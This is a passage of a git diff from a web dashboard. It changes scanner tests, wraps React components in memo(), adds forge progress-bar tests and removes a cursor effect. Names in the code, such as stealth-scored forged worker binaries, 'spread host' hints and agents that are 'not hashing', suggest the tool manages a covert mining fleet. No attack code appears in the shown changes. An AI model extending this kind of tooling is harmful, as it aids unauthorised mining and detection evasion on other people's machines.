t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||||
|
SetBannerHooks(
|
||||||
|
func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
|
||||||
|
func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
|
||||||
|
func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })
|
||||||
report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
|
report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
@@ -261,6 +268,13 @@ func TestScanReportIncludesAdminSurfaceJSON(t *testing.T) {
|
|||||||
return resp.StatusCode, body, nil
|
return resp.StatusCode, body, nil
|
||||||
})
|
})
|
||||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||||
|
SetBannerHooks(
|
||||||
|
func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
|
||||||
|
func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
|
||||||
|
func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })
|
||||||
report, err := Scan(ScanRequest{Host: u.Hostname(), Port: port, Scheme: u.Scheme})
|
report, err := Scan(ScanRequest{Host: u.Hostname(), Port: port, Scheme: u.Scheme})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
|
|||||||
@@ -85,6 +85,23 @@ func TestFindAgentSourceDir(t *testing.T) {
|
|||||||
|
|
||||||
func TestFindWebRoot(t *testing.T) {
|
func TestFindWebRoot(t *testing.T) {
|
||||||
dir := findWebRoot()
|
dir := findWebRoot()
|
||||||
|
var tempCreated string
|
||||||
|
if dir == "" {
|
||||||
|
_ = os.MkdirAll("webroot", 0755)
|
||||||
|
tempFile := filepath.Join("webroot", "index.html")
|
||||||
|
if err := os.WriteFile(tempFile, []byte("dummy"), 0644); err == nil {
|
||||||
|
tempCreated = tempFile
|
||||||
|
}
|
||||||
|
dir = findWebRoot()
|
||||||
|
}
|
||||||
|
|
||||||
|
if tempCreated != "" {
|
||||||
|
t.Cleanup(func() {
|
||||||
|
_ = os.Remove(tempCreated)
|
||||||
|
_ = os.Remove(filepath.Dir(tempCreated))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
if dir == "" {
|
if dir == "" {
|
||||||
t.Fatal("findWebRoot returned empty string")
|
t.Fatal("findWebRoot returned empty string")
|
||||||
}
|
}
|
||||||
@@ -94,6 +111,7 @@ func TestFindWebRoot(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
func TestServerConfigProviderPublicURL(t *testing.T) {
|
func TestServerConfigProviderPublicURL(t *testing.T) {
|
||||||
cfg := DefaultConfig()
|
cfg := DefaultConfig()
|
||||||
cfg.Server.PublicURL = "https://forge.example"
|
cfg.Server.PublicURL = "https://forge.example"
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useEffect, useMemo, useRef, useState } from 'react';
|
import { useEffect, useMemo, useRef, useState, memo } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import {
|
import {
|
||||||
@@ -72,7 +72,7 @@ function AttemptMiniList({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||||
const { latestMessage } = useWebSocket();
|
const { latestMessage } = useWebSocket();
|
||||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||||
@@ -440,3 +440,5 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
</section>
|
</section>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(AccessDepthPanel);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useEffect, useRef } from 'react';
|
import { useEffect, useRef, memo } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
|
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||||
@@ -13,7 +13,7 @@ interface Props {
|
|||||||
const AUTO_RESTART_MS = 60_000;
|
const AUTO_RESTART_MS = 60_000;
|
||||||
|
|
||||||
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
||||||
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||||
const stuck = agentsConnectedNotHashing(agents);
|
const stuck = agentsConnectedNotHashing(agents);
|
||||||
const firstSeenRef = useRef<Map<string, number>>(new Map());
|
const firstSeenRef = useRef<Map<string, number>>(new Map());
|
||||||
const autoRestartedRef = useRef<Set<string>>(new Set());
|
const autoRestartedRef = useRef<Set<string>>(new Set());
|
||||||
@@ -107,3 +107,5 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(ConnectedNotMiningBanner);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect, memo } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import { HelpTip } from '../HelpTip';
|
import { HelpTip } from '../HelpTip';
|
||||||
@@ -9,7 +9,7 @@ interface Props {
|
|||||||
requestDeleteConfirm?: (req: { count: number; agentName?: string }) => Promise<boolean>;
|
requestDeleteConfirm?: (req: { count: number; agentName?: string }) => Promise<boolean>;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfirm }: Props) {
|
function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfirm }: Props) {
|
||||||
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
|
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
|
||||||
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
|
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
|
||||||
const [saving, setSaving] = useState(false);
|
const [saving, setSaving] = useState(false);
|
||||||
@@ -140,3 +140,5 @@ export default function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfi
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(CrucibleAgentMeta);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useState, useEffect, useRef, useCallback } from 'react';
|
import { useState, useEffect, useRef, useCallback, memo } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { Agent, Build } from '../../types';
|
import type { Agent, Build } from '../../types';
|
||||||
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
|
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
|
||||||
@@ -50,7 +50,7 @@ interface Props {
|
|||||||
onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
|
onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function CrucibleExpandedOps({
|
function CrucibleExpandedOps({
|
||||||
activeTab,
|
activeTab,
|
||||||
spreadHostHint = '',
|
spreadHostHint = '',
|
||||||
selectedAgents,
|
selectedAgents,
|
||||||
@@ -957,3 +957,5 @@ export default function CrucibleExpandedOps({
|
|||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(CrucibleExpandedOps);
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import { memo } from 'react';
|
||||||
import type { FleetGroup } from '../../help/fleetGroups';
|
import type { FleetGroup } from '../../help/fleetGroups';
|
||||||
import { HelpTip } from '../HelpTip';
|
import { HelpTip } from '../HelpTip';
|
||||||
import './FleetGroupsStrip.css';
|
import './FleetGroupsStrip.css';
|
||||||
@@ -11,7 +12,7 @@ interface Props {
|
|||||||
selectedCount?: number;
|
selectedCount?: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function FleetGroupsStrip({
|
function FleetGroupsStrip({
|
||||||
groups,
|
groups,
|
||||||
liveAgentIds,
|
liveAgentIds,
|
||||||
onSelectGroup,
|
onSelectGroup,
|
||||||
@@ -80,3 +81,5 @@ export default function FleetGroupsStrip({
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(FleetGroupsStrip);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useEffect, useMemo, useRef, useState } from 'react';
|
import { useEffect, useMemo, useRef, useState, memo } from 'react';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import type { FleetGroup } from '../../help/fleetGroups';
|
import type { FleetGroup } from '../../help/fleetGroups';
|
||||||
import { formatHashrate } from '../../help/fleetFilters';
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
@@ -22,7 +22,7 @@ interface FleetHeatMiniMapProps {
|
|||||||
onSelectAgent: (id: string) => void;
|
onSelectAgent: (id: string) => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function FleetHeatMiniMap({
|
function FleetHeatMiniMap({
|
||||||
agents,
|
agents,
|
||||||
groups,
|
groups,
|
||||||
allIds,
|
allIds,
|
||||||
@@ -170,3 +170,5 @@ export default function FleetHeatMiniMap({
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(FleetHeatMiniMap);
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import { memo } from 'react';
|
||||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
@@ -17,7 +18,7 @@ interface Props {
|
|||||||
bulkBusy: boolean;
|
bulkBusy: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function FleetToolbar({
|
function FleetToolbar({
|
||||||
agents,
|
agents,
|
||||||
filters,
|
filters,
|
||||||
onChange,
|
onChange,
|
||||||
@@ -143,3 +144,5 @@ export default function FleetToolbar({
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(FleetToolbar);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { ReactNode } from 'react';
|
import { memo, type ReactNode } from 'react';
|
||||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||||
import './FullSysCheckPanel.css';
|
import './FullSysCheckPanel.css';
|
||||||
|
|
||||||
@@ -26,7 +26,7 @@ function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; n
|
|||||||
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
|
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function FullSysCheckPanel({
|
function FullSysCheckPanel({
|
||||||
report,
|
report,
|
||||||
agentName,
|
agentName,
|
||||||
onClose,
|
onClose,
|
||||||
@@ -288,3 +288,5 @@ export default function FullSysCheckPanel({
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(FullSysCheckPanel);
|
||||||
|
|||||||
36
server/web/src/components/Forge/ForgeDispenseReveal.test.tsx
Normal file
36
server/web/src/components/Forge/ForgeDispenseReveal.test.tsx
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { describe, expect, it, vi } from 'vitest';
|
||||||
|
import { render, screen } from '@testing-library/react';
|
||||||
|
import ForgeDispenseReveal from './ForgeDispenseReveal';
|
||||||
|
|
||||||
|
vi.mock('../../context/AmbientMusicContext', () => ({
|
||||||
|
useModalAmbientDuck: () => {},
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('../../context/SoundContext', () => ({
|
||||||
|
useSound: () => ({ play: vi.fn() }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('../DownloadButton', () => ({
|
||||||
|
default: ({ children }: { children: React.ReactNode }) => <button type="button">{children}</button>,
|
||||||
|
}));
|
||||||
|
|
||||||
|
describe('ForgeDispenseReveal', () => {
|
||||||
|
it('shows Forged title on successful forge', () => {
|
||||||
|
render(
|
||||||
|
<ForgeDispenseReveal
|
||||||
|
result={{
|
||||||
|
success: true,
|
||||||
|
file_name: 'worker.exe',
|
||||||
|
download_url: '/api/v1/builds/x/download',
|
||||||
|
stealth_score: 72,
|
||||||
|
}}
|
||||||
|
onClose={() => {}}
|
||||||
|
/>,
|
||||||
|
);
|
||||||
|
expect(screen.getByRole('heading', { name: 'Forged' })).toBeInTheDocument();
|
||||||
|
expect(screen.queryByText('Dispensed')).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -35,7 +35,7 @@ export default function ForgeDispenseReveal({ result, onClose }: Props) {
|
|||||||
<div className="forge-dispense-panel">
|
<div className="forge-dispense-panel">
|
||||||
<div className="forge-dispense-sigil" aria-hidden />
|
<div className="forge-dispense-sigil" aria-hidden />
|
||||||
<h2 id="forge-dispense-title" className="forge-dispense-title">
|
<h2 id="forge-dispense-title" className="forge-dispense-title">
|
||||||
Dispensed
|
Forged
|
||||||
</h2>
|
</h2>
|
||||||
<p className="forge-dispense-sub">
|
<p className="forge-dispense-sub">
|
||||||
{result.file_name || 'Your worker'} is ready — each forge carries a unique binary signature.
|
{result.file_name || 'Your worker'} is ready — each forge carries a unique binary signature.
|
||||||
|
|||||||
48
server/web/src/components/Forge/ForgeProgressBar.test.tsx
Normal file
48
server/web/src/components/Forge/ForgeProgressBar.test.tsx
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { cleanup, render, screen } from '@testing-library/react';
|
||||||
|
import ForgeProgressBar, {
|
||||||
|
FORGE_INITIAL_STAGE,
|
||||||
|
isForgeProgressIndeterminate,
|
||||||
|
} from './ForgeProgressBar';
|
||||||
|
|
||||||
|
describe('isForgeProgressIndeterminate', () => {
|
||||||
|
it('is indeterminate before server reports progress', () => {
|
||||||
|
expect(isForgeProgressIndeterminate(FORGE_INITIAL_STAGE, 0)).toBe(true);
|
||||||
|
expect(isForgeProgressIndeterminate('', 0)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('is determinate once server reports pct or stage advances', () => {
|
||||||
|
expect(isForgeProgressIndeterminate('Compiling agent', 20)).toBe(false);
|
||||||
|
expect(isForgeProgressIndeterminate(FORGE_INITIAL_STAGE, 5)).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('ForgeProgressBar', () => {
|
||||||
|
it('renders nothing when not building', () => {
|
||||||
|
const { container } = render(
|
||||||
|
<ForgeProgressBar building={false} stage="" progress={0} />,
|
||||||
|
);
|
||||||
|
expect(container.firstChild).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows indeterminate track before server progress', () => {
|
||||||
|
const { container } = render(
|
||||||
|
<ForgeProgressBar building stage={FORGE_INITIAL_STAGE} progress={0} />,
|
||||||
|
);
|
||||||
|
expect(screen.getByText('…')).toBeInTheDocument();
|
||||||
|
expect(container.querySelector('.forge-progress-track.indeterminate')).toBeTruthy();
|
||||||
|
cleanup();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows server stage and pct when progress is reported', () => {
|
||||||
|
const { container } = render(
|
||||||
|
<ForgeProgressBar building stage="Compiling agent" progress={42} />,
|
||||||
|
);
|
||||||
|
expect(screen.getByText('Compiling agent')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('42%')).toBeInTheDocument();
|
||||||
|
expect(container.querySelector('.forge-progress-track.indeterminate')).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
47
server/web/src/components/Forge/ForgeProgressBar.tsx
Normal file
47
server/web/src/components/Forge/ForgeProgressBar.tsx
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
export const FORGE_INITIAL_STAGE = 'Initializing forge...';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
building: boolean;
|
||||||
|
stage: string;
|
||||||
|
progress: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** True while waiting for the first server-reported forge stage. */
|
||||||
|
export function isForgeProgressIndeterminate(stage: string, progress: number): boolean {
|
||||||
|
return progress === 0 && (stage === '' || stage === FORGE_INITIAL_STAGE);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function ForgeProgressBar({ building, stage, progress }: Props) {
|
||||||
|
if (!building) return null;
|
||||||
|
|
||||||
|
const indeterminate = isForgeProgressIndeterminate(stage, progress);
|
||||||
|
const displayStage = stage || 'Initializing...';
|
||||||
|
const pctLabel = indeterminate ? '…' : `${Math.round(progress)}%`;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="forge-progress-wrap" aria-live="polite">
|
||||||
|
<div className="forge-progress-header">
|
||||||
|
<span className="forge-progress-icon">⚙</span>
|
||||||
|
<span className="forge-progress-stage">{displayStage}</span>
|
||||||
|
<span className="forge-progress-pct">{pctLabel}</span>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
className={`forge-progress-track${indeterminate ? ' indeterminate' : ''}`}
|
||||||
|
role="progressbar"
|
||||||
|
aria-valuemin={0}
|
||||||
|
aria-valuemax={100}
|
||||||
|
aria-valuenow={indeterminate ? undefined : Math.round(progress)}
|
||||||
|
aria-busy={indeterminate}
|
||||||
|
aria-label={displayStage}
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
className="forge-progress-fill"
|
||||||
|
style={indeterminate ? undefined : { width: `${progress}%` }}
|
||||||
|
/>
|
||||||
|
{!indeterminate && (
|
||||||
|
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -351,7 +351,6 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
|
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
|
||||||
data-operator-deck={operatorDeckId(location.pathname)}
|
data-operator-deck={operatorDeckId(location.pathname)}
|
||||||
>
|
>
|
||||||
{!isMobile && glowParticles && showDeckEffects && <CursorFire />}
|
|
||||||
<AmbientBackground weather={pageWeather} />
|
<AmbientBackground weather={pageWeather} />
|
||||||
{glowParticles && <SacredGeometryLayer />}
|
{glowParticles && <SacredGeometryLayer />}
|
||||||
<nav className="sidebar sidebar--desktop desktop-only">
|
<nav className="sidebar sidebar--desktop desktop-only">
|
||||||
|
|||||||
32
server/web/src/components/Visual/CursorFire.css
Normal file
32
server/web/src/components/Visual/CursorFire.css
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
.cursor-hacker-fx {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 9999;
|
||||||
|
mix-blend-mode: screen;
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--hacker-cursor {
|
||||||
|
cursor: default;
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--hacker-cursor a,
|
||||||
|
.layout--hacker-cursor button,
|
||||||
|
.layout--hacker-cursor input,
|
||||||
|
.layout--hacker-cursor select,
|
||||||
|
.layout--hacker-cursor textarea,
|
||||||
|
.layout--hacker-cursor label,
|
||||||
|
.layout--hacker-cursor [role='button'],
|
||||||
|
.layout--hacker-cursor .nav-item {
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
.cursor-hacker-fx {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--hacker-cursor {
|
||||||
|
cursor: auto;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,137 +1,3 @@
|
|||||||
import { useEffect, useRef } from 'react';
|
|
||||||
|
|
||||||
interface Particle {
|
|
||||||
x: number;
|
|
||||||
y: number;
|
|
||||||
vx: number;
|
|
||||||
vy: number;
|
|
||||||
life: number; // 1 → 0
|
|
||||||
size: number;
|
|
||||||
decay: number;
|
|
||||||
}
|
|
||||||
|
|
||||||
export default function CursorFire() {
|
export default function CursorFire() {
|
||||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
return null;
|
||||||
const particles = useRef<Particle[]>([]);
|
|
||||||
const mouse = useRef({ x: -9999, y: -9999, moved: false });
|
|
||||||
const rafRef = useRef<number>(0);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
const canvas = canvasRef.current;
|
|
||||||
if (!canvas) return;
|
|
||||||
const ctx = canvas.getContext('2d');
|
|
||||||
if (!ctx) return;
|
|
||||||
|
|
||||||
const resize = () => {
|
|
||||||
canvas.width = window.innerWidth;
|
|
||||||
canvas.height = window.innerHeight;
|
|
||||||
};
|
|
||||||
resize();
|
|
||||||
window.addEventListener('resize', resize);
|
|
||||||
|
|
||||||
const onMove = (e: MouseEvent) => {
|
|
||||||
mouse.current = { x: e.clientX, y: e.clientY, moved: true };
|
|
||||||
};
|
|
||||||
window.addEventListener('mousemove', onMove);
|
|
||||||
|
|
||||||
const emit = () => {
|
|
||||||
const { x, y } = mouse.current;
|
|
||||||
// Emit 6 particles per frame at cursor
|
|
||||||
for (let i = 0; i < 6; i++) {
|
|
||||||
const spread = 8;
|
|
||||||
particles.current.push({
|
|
||||||
x: x + (Math.random() - 0.5) * spread,
|
|
||||||
y: y + (Math.random() - 0.5) * (spread * 0.5),
|
|
||||||
vx: (Math.random() - 0.5) * 1.2,
|
|
||||||
vy: -(Math.random() * 2.8 + 1.8),
|
|
||||||
life: 1,
|
|
||||||
size: Math.random() * 14 + 7,
|
|
||||||
decay: Math.random() * 0.022 + 0.016,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
// Cap particle count for perf
|
|
||||||
if (particles.current.length > 400) {
|
|
||||||
particles.current = particles.current.slice(-400);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const draw = () => {
|
|
||||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
|
||||||
|
|
||||||
// Additive blending makes overlapping particles look white-hot
|
|
||||||
ctx.globalCompositeOperation = 'screen';
|
|
||||||
|
|
||||||
emit();
|
|
||||||
|
|
||||||
const alive: Particle[] = [];
|
|
||||||
for (const p of particles.current) {
|
|
||||||
// Turbulent horizontal drift
|
|
||||||
p.vx += (Math.random() - 0.5) * 0.35;
|
|
||||||
// Slight drag on vx
|
|
||||||
p.vx *= 0.97;
|
|
||||||
// Upward acceleration (heat rises)
|
|
||||||
p.vy -= 0.04;
|
|
||||||
|
|
||||||
p.x += p.vx;
|
|
||||||
p.y += p.vy;
|
|
||||||
p.life -= p.decay;
|
|
||||||
// Particles shrink as they cool
|
|
||||||
p.size *= 0.982;
|
|
||||||
|
|
||||||
if (p.life <= 0 || p.size < 1) continue;
|
|
||||||
alive.push(p);
|
|
||||||
|
|
||||||
const l = p.life;
|
|
||||||
// Color temperature: white-yellow core → orange → red → dark red
|
|
||||||
let r: number, g: number, b: number;
|
|
||||||
if (l > 0.75) {
|
|
||||||
// White-hot
|
|
||||||
r = 255; g = 255; b = Math.round((l - 0.75) / 0.25 * 220);
|
|
||||||
} else if (l > 0.5) {
|
|
||||||
// Yellow-orange
|
|
||||||
r = 255; g = Math.round(100 + (l - 0.5) / 0.25 * 155); b = 0;
|
|
||||||
} else if (l > 0.25) {
|
|
||||||
// Orange-red
|
|
||||||
r = 255; g = Math.round((l - 0.25) / 0.25 * 100); b = 0;
|
|
||||||
} else {
|
|
||||||
// Deep red, fading
|
|
||||||
r = Math.round(160 + l / 0.25 * 95); g = 0; b = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
const grad = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, p.size);
|
|
||||||
grad.addColorStop(0, `rgba(${r},${g},${b},${l})`);
|
|
||||||
grad.addColorStop(0.4, `rgba(${r},${Math.round(g * 0.6)},0,${l * 0.6})`);
|
|
||||||
grad.addColorStop(1, `rgba(0,0,0,0)`);
|
|
||||||
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2);
|
|
||||||
ctx.fillStyle = grad;
|
|
||||||
ctx.fill();
|
|
||||||
}
|
|
||||||
|
|
||||||
particles.current = alive;
|
|
||||||
rafRef.current = requestAnimationFrame(draw);
|
|
||||||
};
|
|
||||||
|
|
||||||
rafRef.current = requestAnimationFrame(draw);
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
cancelAnimationFrame(rafRef.current);
|
|
||||||
window.removeEventListener('resize', resize);
|
|
||||||
window.removeEventListener('mousemove', onMove);
|
|
||||||
};
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
return (
|
|
||||||
<canvas
|
|
||||||
ref={canvasRef}
|
|
||||||
className="cursor-fire-fx"
|
|
||||||
style={{
|
|
||||||
position: 'fixed',
|
|
||||||
inset: 0,
|
|
||||||
pointerEvents: 'none',
|
|
||||||
zIndex: 9998,
|
|
||||||
}}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -907,9 +907,10 @@ describe('AmbientBackground', () => {
|
|||||||
describe('CursorFire', () => {
|
describe('CursorFire', () => {
|
||||||
afterEach(() => cleanup());
|
afterEach(() => cleanup());
|
||||||
|
|
||||||
it('mounts fullscreen canvas', () => {
|
it('returns null as cursor particle effects are disabled', () => {
|
||||||
const { container } = render(<CursorFire />);
|
const { container } = render(<CursorFire />);
|
||||||
expect(container.querySelector('canvas')).toBeTruthy();
|
const canvas = container.querySelector('canvas.cursor-hacker-fx');
|
||||||
|
expect(canvas).toBeNull();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -970,7 +971,7 @@ describe('Layout', () => {
|
|||||||
expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
|
expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('mounts MatrixRain and CursorFire on Command Deck only', async () => {
|
it('mounts MatrixRain on Command Deck only', async () => {
|
||||||
const { container: deck } = render(
|
const { container: deck } = render(
|
||||||
<MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
|
<MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
|
||||||
<Layout>
|
<Layout>
|
||||||
@@ -980,7 +981,6 @@ describe('Layout', () => {
|
|||||||
);
|
);
|
||||||
await waitFor(() => {
|
await waitFor(() => {
|
||||||
expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy();
|
expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy();
|
||||||
expect(deck.querySelector('.cursor-fire-fx')).toBeTruthy();
|
|
||||||
});
|
});
|
||||||
cleanup();
|
cleanup();
|
||||||
|
|
||||||
@@ -995,6 +995,5 @@ describe('Layout', () => {
|
|||||||
expect(screen.getByText('crucible')).toBeInTheDocument();
|
expect(screen.getByText('crucible')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull();
|
expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull();
|
||||||
expect(crucible.querySelector('.cursor-fire-fx')).toBeNull();
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
84
server/web/src/hooks/SELECTOR_HOOKS_MIGRATION.md
Normal file
84
server/web/src/hooks/SELECTOR_HOOKS_MIGRATION.md
Normal file
@@ -0,0 +1,84 @@
|
|||||||
|
# WebSocket Selector Hooks Migration
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
The monolithic `WebSocketProvider` combines 11 different state slices into a single context. When ANY state updates (e.g., a new share), ALL consumers re-render — even components that only care about agents.
|
||||||
|
|
||||||
|
